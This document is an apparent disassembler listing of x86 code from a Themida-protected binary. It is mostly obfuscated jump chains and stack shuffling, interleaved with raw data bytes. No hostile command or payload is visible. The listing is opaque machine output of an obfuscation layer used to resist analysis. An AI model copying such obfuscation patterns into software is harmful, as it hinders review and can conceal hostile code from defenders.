		push	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 8
		mov	bh, 81h
		sub	bh, dh
		pop	edx
		or	bh, 92h
		jmp	loc_548CBD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0A618E959h, 0F788FFFFh, 0E92434FFh, 0FFFFD8E4h, 0E966B652h
		dd 4460h, 148BD029h, 5A545224h,	7FE9h, 68555E00h, 4, 4FB8E9h
		dd 24148B00h, 4C481h, 0E9500000h, 0FFFFD913h, 5159CB31h
		dd 0FD6422B9h, 16EA8122h, 295F1E16h, 16C281CAh,	595F1E16h
		dd 0FFD52DE9h, 0A4C681FFh, 8171B814h, 6B5157C6h, 81EE0149h
		dd 6B5157EEh, 0A4EE8149h, 8171B814h, 5A68BEC6h,	34875D4Ah
		dd 8B665C24h, 8DE92404h, 0FFFFFC5h, 48DC0B6h, 293AE987h
		dd 0C8B0000h, 4C48324h,	0E952D2F7h, 40h, 4C281h, 15E90000h
		dd 5800005Dh, 4F2C0D48h, 42927841h, 240E9h, 97C18100h
		dd 8B7BC258h, 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 4EC815Ch, 0E9000000h, 0FFFFE4B9h, 5A2404FFh,	0FFBE88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A059:				; CODE XREF: Themida_:0054DC70j
		add	esp, 4
		jmp	loc_5452EA
; ---------------------------------------------------------------------------
		dd 0C1E99E05h, 58C229FFh, 174CC281h, 0EB8178A6h, 16963F35h
		dd 0C381D301h, 16963F35h, 8F665Ah, 0FFA501E9h, 8BEB29FFh
		dd 0C483242Ch, 0DAD8E904h, 59B7FFFFh, 0D7F6EFD0h, 0C0D6F780h
		dd 0E78007EFh, 50F78008h, 0D319E952h, 0C981FFFFh, 75AB351Bh
		dd 2C8FC181h, 0C8296E35h, 4D8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A0C1:				; CODE XREF: Themida_:0054D056j
		add	esp, 4
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_54F266
; ---------------------------------------------------------------------------
		db 97h,	47h, 81h
		dd 0FB7EE9C7h, 79EB8101h, 5613F353h, 0D87043BEh, 5EF3015Fh
		dd 31ACE9h, 0B3F28100h,	1BE0A92h, 24ECE9D7h, 148B0000h
		dd 4C48324h, 0F281D2F7h, 87CCBE43h, 34FFD389h, 0C4815A24h
		dd 4, 815BDD89h, 0DF5D8CEEh, 0C941E906h, 0C483FFFFh, 13685D04h
		dd 89000036h, 14F7242Ch, 0EC815D24h, 4,	55240489h, 2DE3E958h
		dd 665C0000h, 0E99CC83Bh, 0FFFFA43Ah
; ---------------------------------------------------------------------------


loc_54A150:				; CODE XREF: Themida_:0054F3B8j
		mov	esp, [esp]
		push	esi
		jmp	loc_54F149
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 2Dh
		dd 15F91794h, 0E9242C8Bh, 0FFFFC3A5h, 9D1C77FFh, 0D3665966h
		dd 0E99C2414h, 0FFFFEBE6h, 0A3C3815Dh, 0E977250Fh, 55F6h
; ---------------------------------------------------------------------------


loc_54A184:				; CODE XREF: Themida_:00549D0Bj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 0EB815959h, 1F0F5023h, 1882EB81h, 70E9537Dh
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A1AB:				; CODE XREF: Themida_:00548FB3j
		add	ebx, 66020637h
		jmp	loc_54D795
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 376D0446h, 5658C521h, 20B8BD55h, 0E5C11893h,	90F58103h
		dd 810D9668h, 0F092B0C5h, 8BEE8936h, 0C483242Ch, 14C68104h
		dd 296B5248h, 0A6E951EEh, 5F00003Eh, 5C24048Fh,	1BDBE9h
		dd 62EB8100h, 8164FA4Ah, 7D205AEBh, 2EE95D2Fh
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A207:				; CODE XREF: Themida_:005490F5j
		pop	ebp
		jmp	loc_55062A
; ---------------------------------------------------------------------------


loc_54A20D:				; CODE XREF: Themida_:005469DCj
		pop	esi
		push	ecx
		pop	edi
		pop	ecx
		xor	[esp+4], edi
		pop	edi
		pop	eax
		jmp	loc_54CB43
; ---------------------------------------------------------------------------


loc_54A21C:				; CODE XREF: Themida_:0054B7A7j
		sub	[esp+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_54A22E:				; CODE XREF: Themida_:0054F570j
		push	7A99h
		jmp	loc_54FF2D
; ---------------------------------------------------------------------------


loc_54A238:				; CODE XREF: Themida_:0054671Ej
		sub	eax, 5E9DE9FEh
		add	ecx, eax
		jmp	loc_544C79
; ---------------------------------------------------------------------------
		dd 8951C80Fh, 4C181E1h,	83000000h, 0C8704E9h, 0BA78E924h
		dd 0CA31FFFFh, 0FFB535E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A261:				; CODE XREF: Themida_:0054F4AEj
		sub	esi, ebp
		pop	ebp
		jmp	loc_54D834
; ---------------------------------------------------------------------------
		db 92h,	35h, 0BFh
		dd 8944B775h, 0EC8158C3h, 4, 0E9243C89h, 4871h,	6158ABFh
		dd 5FFB015Bh, 0EB81C329h, 5B06158Ah, 18826856h,	0A7E9537Dh
		dd 31FFFFC1h, 0E99C2404h, 4CD4h, 0C0B60F58h, 518734FFh
		dd 0FFE09BE9h, 240CFEFFh, 0A2D0E99Ch, 3487FFFFh, 0C3315C24h
		dd 0FE55B151h, 0F65166C1h, 0BBE92414h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A2CF:				; CODE XREF: Themida_:00547EBBj
		add	esp, 4
		push	4EE5h
		mov	[esp], ebx
		jmp	loc_54BDF2
; ---------------------------------------------------------------------------
		dw 562Ch
		dd 0FCE9C828h, 0B9FFFFC9h, 40EE6942h, 0C8BC801h, 4C48124h
		dd 29000000h, 69422DD8h, 685340EEh, 5F2B4335h, 22A22D5Bh
		dd 35E917A5h, 0FFFFFFB2h, 0C8B2434h, 4C48324h, 7BE06852h
		dd 24890000h, 24048324h, 24148B04h, 4C481h, 0BB530000h
		dd 4, 48BEA81h,	0DA0178AAh, 48BC281h, 0B8E978AAh, 58FFFFEBh
		dd 0FFCBCBE9h, 50E95AFFh, 1000039h, 0CAE958C6h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A35F:				; CODE XREF: Themida_:0054E2B2j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	49DAh
		jmp	loc_54F322
; ---------------------------------------------------------------------------
		db 29h
		dd 240C8BC8h, 0F704C483h, 0F169E9D8h, 48BFFFFh,	4C48124h
		dd 35000000h, 3AC609B5h, 2994E9h, 0D831AD00h, 0FFDC28E9h
		dd 40478FFFh, 5724048Bh, 0C781E789h, 4,	4BD55h,	60E90000h
		dd 89FFFFB9h, 4C581E5h,	53000000h, 6EFA6850h, 50E95DFDh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A3CB:				; CODE XREF: Themida_:0055048Ej
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54D065
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 2
		dd 817A8D41h, 0C70605EFh, 0FBEF8111h, 0E91FEB18h, 0FFFFDC74h
		dd 8244481h, 5F272E6Eh,	8244429h, 8246C81h, 5F272E6Eh
		dd 0A17E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A409:				; CODE XREF: Themida_:0054CCB2j
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 0FB6C1Dh
		and	esi, edi
		pop	edi
		neg	esi
		shl	esi, 7
		xchg	ebx, esi
		jmp	loc_547799
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8704h, 0B850535Ch, 23655B82h
		dd 4B58C389h, 0F706EBC1h, 0A8C381DBh, 0E9674C29h, 2061h
		dd 4C381h, 0EB830000h, 74FF5304h, 0E95B0424h, 1DDCh
; ---------------------------------------------------------------------------


loc_54A464:				; CODE XREF: Themida_:00545E0Bj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_54F681
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD2h, 0FFA109E9h, 0EC8156FFh, 4, 0E9242C89h
		dd 0FFFFD9C3h
; ---------------------------------------------------------------------------


loc_54A490:				; CODE XREF: Themida_:0054B90Ej
		mov	esp, [esp]
		add	ebp, 0E5FFFC00h
		mov	[edi+20h], ebp
		pop	ebp


loc_54A49D:				; CODE XREF: Themida_:0054564Cj
					; Themida_:0054DA86j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54D4FF
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 0B680E95Ch, 0E789FFFFh
		dd 4C781h, 0DFE90000h, 8100004Dh, 9EFABBF5h, 1DC0051Eh
		dd 0E8295D1Bh, 1B1DC02Dh, 42AAE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A4EA:				; CODE XREF: Themida_:0054629Cj
		mov	[esp], edi
		push	6F72h
		jmp	loc_54DB7D
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 0EB815C24h, 501678EEh, 0B60F66h, 0FFCD18E9h
		dd 0FEE945FFh
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A513:				; CODE XREF: Themida_:0054F591j
		sub	[esp], ecx
		pop	ecx
		shr	ecx, 8
		push	edx
		mov	edx, 72C56E06h
		or	ecx, edx
		pop	edx
		and	ecx, 28A0055Ch
		jmp	loc_54F5EE
; ---------------------------------------------------------------------------
		dw 895Eh
		dd 240C8BCDh, 4C481h, 0B9510000h, 67958BFh, 9978E82Dh
		dd 5C80164h, 649978E8h,	0FFDE79E9h, 4C828FFh, 240C8B27h
		dd 57E9E9h, 241C8B00h, 57E68956h, 5B7DC4BFh, 8E7C14Dh
		dd 0C404F781h, 0C6815B7Dh, 2A5B29CFh, 0EE81FE01h, 2A5B29CFh
		dd 0E9243C8Bh, 1747h, 6E943B2h,	5AFFFFE7h, 4C281h, 57550000h
		dd 0FFE240E9h, 0E9DDF7FFh, 0FFFFC868h, 62D3CB81h, 0D3F77F97h
		dd 2421C381h, 0E3C101B4h, 0B5C38108h, 31257FEFh, 0C6015BD8h
		dd 8324048Bh, 0EE8104C4h, 4, 8904EC83h,	74FF2434h, 8F5E0424h
		dd 895C2404h, 9C502414h, 0FF9FA5E9h, 0E28952FFh, 4C281h
		dd 0C2810000h, 4, 5C241487h, 0FFA7FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A5FD:				; CODE XREF: Themida_:0054AE85j
		mov	[esp], ebp
		mov	ebp, ecx
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_547A30
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	1C3304C3h, 241C3124h, 5C241C33h
		dd 904C483h, 348B1C77h,	4C48124h, 0E9000000h, 0FFFF9F4Eh
		dd 8BCA315Ch, 0C481240Ch, 4, 148BD031h,	0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 568h, 240C8900h, 6A1EF7B9h
		dd 0D3C4E94Fh, 8B54FFFFh, 0C481243Ch, 4, 5747BB53h, 0B850263Eh
		dd 69C3307Eh, 0E2315A2Dh, 5F74253Dh, 0CB056D92h, 29F77FD0h
		dd 525058C3h, 0FFDF59E9h, 70F581FFh, 5165ED56h,	0ED6B4AB9h
		dd 3656E915h, 0DFB60000h, 3002E6C0h, 0E9F730FEh, 2F85h
		dd 0E9E78957h, 5280h, 0E9243C89h, 0FFFFF550h, 0D3C681ADh
		dd 0E9565458h, 0FFFFD53Fh, 0FF9EA9E9h, 243489FFh, 0A155D2BEh
		dd 0D8EE8144h, 10F1D04h, 0E9015EF1h, 50FAE981h,	0C3E93584h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A6FF:				; CODE XREF: Themida_:005467D8j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_548EC8
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 83000000h,	0CBE904E8h, 0BF000005h,	7AAA6E2Eh
		dd 0E95FFE21h, 46DFh, 34D668h, 242C8900h, 42474FFh, 0E9242C8Bh
		dd 4618h, 9E40E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A74A:				; CODE XREF: Themida_:0054F162j
		push	ecx
		mov	ecx, 0D263996Ah
		jmp	loc_54809C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd offset dword_51B448+7A1h
		dd 66AD6600h, 66506652h, 667EF268h, 8124048Bh, 2C4h, 0C2896600h
		dd 24048B66h, 6602C483h, 1F51E950h, 8B660000h, 0EC832404h
		dd 241C8904h, 449268h, 24248900h, 4240483h, 81241C8Bh
		dd 4C4h, 0E6BF5700h, 0E901FB7Eh, 4E69h
; ---------------------------------------------------------------------------


loc_54A7AC:				; CODE XREF: Themida_:0054F442j
		mov	dh, 0Dh
		xor	al, dh
		pop	dx
		sub	al, 5Eh
		inc	al
		jmp	loc_54C396
; ---------------------------------------------------------------------------


loc_54A7BB:				; CODE XREF: Themida_:0054EB81j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5457A7
; ---------------------------------------------------------------------------
		dd 6E8F68h, 0A1D3E900h,	0E380FFFFh, 36C1E9E2h, 34FF0000h
		dd 54565824h, 0FFB598E9h, 0F28166FFh, 0EC8113B8h, 4, 0FFBE9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A805:				; CODE XREF: Themida_:00547480j
		mov	edx, 428907C3h
		not	edx
		jmp	loc_549279
; ---------------------------------------------------------------------------
		db 5Ch,	58h, 0E9h
		dd 0FFFF9D72h, 0E9E18951h, 753h
; ---------------------------------------------------------------------------


loc_54A820:				; CODE XREF: Themida_:00549F08j
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_544A6A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8D07C381h, 0ED81F5C6h, 50A73259h, 0C581DD01h, 50A73259h
		dd 242C875Bh, 890E95Ch,	0E9510000h, 48B7h, 53555E54h, 0C324F8BBh
		dd 24FCBD03h, 0DD3103C3h, 81241C8Bh, 4C4h, 34EE8100h, 168D921h
		dd 0E537E9EEh, 3605FFFFh, 2901743Eh, 3EE957D8h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A883:				; CODE XREF: Themida_:00547A31j
		and	eax, ebx
		jmp	loc_54D165
; ---------------------------------------------------------------------------
		dw 0C968h
		dd 0E9000029h, 0FFFFF170h, 2434FF54h, 0E389535Dh, 4C381h
		dd 0C3810000h, 4, 0E9241C87h, 0FFFFE7D1h
; ---------------------------------------------------------------------------


loc_54A8B0:				; CODE XREF: Themida_:0054F504j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	2A6Fh
		mov	[esp], edi
		push	77D7h
		jmp	loc_54FF0F
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFC3B9h, 405h, 0CF685100h, 89000033h, 0EAE9243Ch
		dd 52FFFFC4h, 30ED2BAh,	5AD00145h, 8856CC2Dh, 55F0294Ah
		dd 3B2E9h, 241C8900h, 4BBh, 5BD90100h, 8B240C87h, 0F6682424h
		dd 89000064h, 8B54243Ch, 0C483243Ch, 4C78104h, 56000000h
		dd 0FFF5E4E9h, 0C0B60FFFh, 688734FFh, 2252h, 0E9241C89h
		dd 0FFFFC53Ch, 24DFB850h, 61355262h, 113F817h, 98E958C3h
		dd 89FFFFB8h, 4B9240Ch,	1000000h, 0B6BBE9CBh, 4429FFFFh
		dd 48B0424h, 3085E924h,	8B660000h, 0E951240Ch, 0FFFFA8D1h
; ---------------------------------------------------------------------------


loc_54A974:				; CODE XREF: Themida_:00548E39j
		pop	edi
		jmp	loc_54B306
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C38104h, 0E9000000h, 0FFFFE78Eh, 652C0904h,	5166D800h
		dd 1D67E9h, 0F7DBF700h,	2EBC1D3h, 0B025C381h, 0D9313324h
		dd 67C1815Bh, 29B52763h, 505E59CBh, 0F5023B8h, 58C3011Fh
		dd 24148B66h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 0E95C241Ch
		dd 0FFFFBE72h, 5F8015Bh, 7B397E71h, 4EC835Fh, 3F9AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A9E5:				; CODE XREF: Themida_:0054986Ej
		mov	ebx, 1Ch
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3AE65082h
		shl	edx, 3
		shl	edx, 2
		dec	edx
		add	edx, 139B4271h
		add	ebx, 442810C0h
		add	ebx, edx
		jmp	loc_54CE9F
; ---------------------------------------------------------------------------
		dw 3489h
		dd 35BD5524h, 0E9673111h, 9DEh,	0B3E9D929h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AA27:				; CODE XREF: Themida_:00546671j
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_545821
; ---------------------------------------------------------------------------


loc_54AA3F:				; CODE XREF: Themida_:0054AE66j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_54F352
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 0D045E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AA5A:				; CODE XREF: Themida_:00548CCDj
		pop	edi
		sub	ebp, ecx
		add	ebp, 356C0647h
		jmp	loc_5450A4
; ---------------------------------------------------------------------------
		dd 16BE68h, 240C8900h, 0F686B353h, 0CCF380D3h, 0FFC796E9h
		dd 7F6835FFh, 0C2890FFEh, 582434FFh, 1DAAE9h, 8CE95900h
		dd 53000049h, 0BE56E389h, 4, 4D5DE9h, 2C08300h,	2E13E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AAA9:				; CODE XREF: Themida_:0054CE13j
		sub	eax, 0A4842F7h
		add	eax, esi
		add	eax, 0A4842F7h
		jmp	loc_54DA7A
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 8104E3C1h,	4203B7EBh, 86EB8129h, 0E9603508h
		dd 5AB3h, 148BD089h, 4C48124h, 21000000h, 0E9581C47h, 3913h
		dd 32F381h, 0EB813B1Ah,	17BC22D5h, 567FE956h, 51500000h
		dd 2417E9h, 2BC28100h, 1D744F6h, 0DDF75AD5h, 20ED814Dh
		dd 8139C548h, 0B1595CF5h, 94BA526Eh, 81110A40h,	0EA7B4FCAh
		dd 0C2E28129h, 8161906Fh, 7A02BFEAh, 5AD5316Eh,	5A5DE829h
		dd 0ADCCE955h, 0EC83FFFFh, 14896602h, 0E922B224h, 0FFFFAB27h
		dd 0FF2434FFh, 0C8B2434h, 0E7895724h, 254BE9h
		db 0
; ---------------------------------------------------------------------------


loc_54AB5D:				; CODE XREF: Themida_:0054C7BFj
		add	edi, ebp
		pop	ebp
		push	6531h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_54B212
; ---------------------------------------------------------------------------
		dd 0CDFE5AB5h, 79ED80h,	805966EFh, 83E9FBCFh, 81FFFFDFh
		dd 0B917CDC3h, 5BDF21F3h, 750E781h, 0D4E90C3Ch,	5400001Ch
		dd 4BF5758h, 5000000h, 11491BE8h, 0BB53F801h, 474B1B83h
		dd 0F704EBC1h, 17B951DBh, 0F715DF0Bh, 1E0CE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ABC2:				; CODE XREF: Themida_:00550559j
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_546EF0
; ---------------------------------------------------------------------------
		dd 0E900E9C1h, 3B2Dh, 6624248Bh, 9C243CD3h, 0FF99A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54ABE5:				; CODE XREF: Themida_:00546198j
		add	eax, edi
		mov	ecx, [eax]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 24222330h
		jmp	loc_546D9A
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E2C105E2h, 0CAE95102h, 81FFFFE9h, 4C4h, 0C8BE0F00h
		dd 793F68h, 243C8900h, 6856E789h, 7A3B092Bh, 6855515Eh
		dd 73E340DEh, 83242C8Bh, 0DDF704C4h, 74EDED81h,	0E98928C8h
		dd 0EDE9815Dh, 5661B83Dh, 0A82ABABEh, 5EF13120h, 0B22BD55h
		dd 0C5814C48h, 0DCB243Ch, 0FFE9B2E9h, 5BDF89FFh, 0FFE518E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AC6D:				; CODE XREF: Themida_:00547C9Dj
		push	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_547591
; ---------------------------------------------------------------------------
		db 50h
		dd 0D8F668B0h, 0C8FEC8FEh, 32E9AB04h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AC87:				; CODE XREF: Themida_:0054B30Fj
		mov	[esp], edi
		pop	ebx
		mov	edi, [esp]
		jmp	loc_547A6D
; ---------------------------------------------------------------------------
aXsu		db 'XИЦ',27h,0
		dd 24148B00h, 4C481h, 6EE90000h, 8B000043h, 0FFE92404h
		dd 0BDFFFFB0h, 10224060h, 0FFE1C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54ACB9:				; CODE XREF: Themida_:0054828Cj
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		dw 1489h
		dd 57E28924h, 4BFh, 0E9FA0100h,	30CEh, 242C895Ch, 4EC81h
		dd 33E90000h, 0D1FFFFFDh, 0D7ADE9E3h, 4ACFFFFh,	4A14E92Ah
		dd 4870000h, 0A166E924h, 0EBC1FFFFh, 98C38107h,	8133F145h
		dd 0B95646C3h, 0EB8109h, 13DCE42h, 0C335BD9h, 0E51CE924h
		dd 0D131FFFFh, 8324148Bh, 0CB2104C4h, 81240C8Bh, 4C4h
		dd 2E3C100h, 0FFE4C381h, 0D901FFEEh, 0BB64E95Bh, 8B66FFFFh
		dd 4AE92404h, 59000014h, 0FFEA8AE9h, 0E8305BFFh, 81240C8Bh
		dd 4C4h, 0FC33000h, 34FFC0B6h, 1D5B6887h, 2C890000h, 0B07FE924h
		dd 0FF51FFFFh, 59042474h, 5C24048Fh, 81242489h,	4ECh, 243C8900h
		dd 4BFh, 247C0100h, 0FBE95F04h,	66FFFF97h, 88C78853h, 66FA88D0h
		dd 0C3E2805Bh, 38B753h,	0CD6CE9FAh, 0B951FFFFh,	4, 8359CB01h
		dd 67E904C3h, 5200002Eh, 52D6E9h, 0F7555B00h, 815D2414h
		dd 4C4AADC5h, 0D6E9E95Fh, 685FFFFFh, 5943h, 0BD242C89h
		dd 2, 875DEB01h, 0E95C241Ch, 0FFFFA4ABh, 0C381CB01h, 2F983EE6h
		dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 0E956240Ch, 0FFFFCB41h
		dd 2EC81h, 89660000h, 0B252240Ch, 0B2E8E9F7h, 0E9ADFFFFh
		dd 0FFFF99EAh, 84BA5258h, 1106444h, 5A082454h, 4246C81h
		dd 55702663h, 2404815Dh, 20B06642h, 0FFE77DE9h,	60EA81FFh
		dd 5932016Fh, 0E9241433h, 0FFFFAB93h, 0C381FB29h, 595D7FC8h
		dd 3601E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AE5D:				; CODE XREF: Themida_:0054FFB6j
		sub	edx, 0F02EA080h
		add	ebp, edx
		pop	edx
		jmp	loc_54AA3F
; ---------------------------------------------------------------------------


loc_54AE6B:				; CODE XREF: Themida_:005484B2j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_544EC6
; ---------------------------------------------------------------------------


loc_54AE7E:				; CODE XREF: Themida_:0054DD75j
		pop	eax
		sub	esp, 4
		jmp	loc_54A5FD
; ---------------------------------------------------------------------------
		dw 424Ah
		dd 0FF9B3DE9h, 4BB53FFh, 1000000h, 241C8BDDh, 4C481h, 0F8E90000h
		dd 8B00000Bh, 0C481240Ch, 4, 2D72E9h, 5BDA2100h, 1C281h
		dd 0D501FFD0h, 8324148Bh, 2C8704C4h, 24248B24h,	24048B66h
		dd 0FF994FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AED5:				; CODE XREF: Themida_:0054AFBFj
		push	ebp
		mov	ebp, 1F786F92h
		shl	ebp, 4
		jmp	loc_54F4A8
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 4216624h,	97E99C24h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AEF3:				; CODE XREF: Themida_:0054797Ej
		mov	ecx, 4D893641h
		mov	edi, 4E41AD10h
		sub	edi, 150F12F8h
		jmp	loc_5483F0
; ---------------------------------------------------------------------------
		dd 0C78070B7h, 80F72813h, 305A13EFh, 1C8B66F8h,	2C48324h
		dd 0E949EB80h, 323Fh, 0C9F8E95Dh, 0D001FFFFh, 8D77E505h
		dd 2434FF00h, 4C4815Ah,	1000000h, 4CCC2DC8h, 0C8B66DBh
		dd 4C48324h, 0FFBA35E9h, 0E95059FFh, 56BCh, 42474FFh, 24048F5Eh
		dd 5224248Bh, 0FFB9D6E9h, 815358FFh, 2BEA2404h,	34E96625h
		dd 81FFFFFDh, 4C1h, 4C18300h, 0E9240C87h, 1BA7h
; ---------------------------------------------------------------------------


loc_54AF84:				; CODE XREF: Themida_:0054E749j
		or	eax, esi
		pop	esi
		jmp	loc_54C85F
; ---------------------------------------------------------------------------


loc_54AF8C:				; CODE XREF: Themida_:0054BCF4j
		mov	edx, eax
		pop	eax
		xor	edx, 3B7D2E7Bh
		shr	edx, 5
		xor	edx, 64B000BFh
		jmp	loc_54BA52
; ---------------------------------------------------------------------------


loc_54AFA3:				; CODE XREF: Themida_:0054F529j
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 6AC13F01h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1C02BEBh
		xor	esi, 3227444Dh
		jmp	loc_54AED5
; ---------------------------------------------------------------------------
aSs		db 'SИ,=',0
		align 2
		dw 0C481h
		dd 4, 875DEE01h, 0E95C2434h, 0FFFF95AEh, 4BAh, 35E98100h
		dd 1046A54h, 35C181D1h,	8B046A54h, 0C4832414h, 2BD5504h
		dd 1000000h, 0C335DE9h,	240C3124h, 5C240C33h, 9C2424D3h
		dd 0FF9579E9h, 0BBE480FFh, 80BBC480h, 0E480D7ECh, 5FC48050h
		dd 2CE9E788h, 8BFFFFB5h, 14892424h, 37BF5724h, 57362AEFh
		dd 4D40E9h, 0FFE88300h,	0F740D0F7h, 1EB951D8h, 314F1D4Dh
		dd 0EB8159C8h, 5E51876h, 0C381C301h, 5E51876h, 5BBE5658h
		dd 5514C542h, 0C54259BDh, 0E9EE3114h, 43FCh, 24148B54h
		dd 0FFE1C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B075:				; CODE XREF: Themida_:00545441j
		mov	esi, 6A0E6A79h
		add	esi, 9F7CC487h
		push	ebx
		mov	ebx, 74306BE2h
		sub	ebp, ebx
		pop	ebx
		add	ebp, esi
		push	edx
		push	ecx
		push	1A0D1939h
		pop	ecx
		neg	ecx
		xor	ecx, 91C28D25h
		mov	edx, ecx
		jmp	loc_545A42
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 5B042474h, 8B24048Fh, 0BD552424h, 47383A0Eh,	0FFBC7EE9h
		dd 4C183FFh, 0FFCADCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B0C1:				; CODE XREF: Themida_:00547554j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_54C61A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 4C481h, 0EC830000h, 242C8904h, 5150E589h
		dd 386995B9h, 150AB847h, 7E96F48h, 8100001Eh, 4C4h, 4BB5300h
		dd 1000000h, 0C2815BDAh, 2, 0FF947DE9h,	0DBF75BFFh, 46F3814Bh
		dd 812FF943h, 0CEA5A7C3h, 5BDA8989h, 148BD631h,	4C48324h
		dd 505EF201h, 2B8h, 58C20100h, 5C241487h, 0C8B60F66h, 0FFDD1DE9h
		dd 4C483FFh, 0EA2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B155:				; CODE XREF: Themida_:00547694j
		or	ebp, edx
		jmp	loc_5469E1
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFF9426h, 332B092Dh, 4008E931h, 0C4830000h
		dd 580404h, 0A6B353E8h,	80E7EB80h, 0D82899C3h, 0FFB089E9h
		dd 6605ADFFh, 1619062h,	6CCD68D8h, 2C890000h, 0D46BD24h
		dd 0D5F74904h, 8102E5C1h, 0E2A0CEC5h, 0E5C1454Eh, 6EDC108h
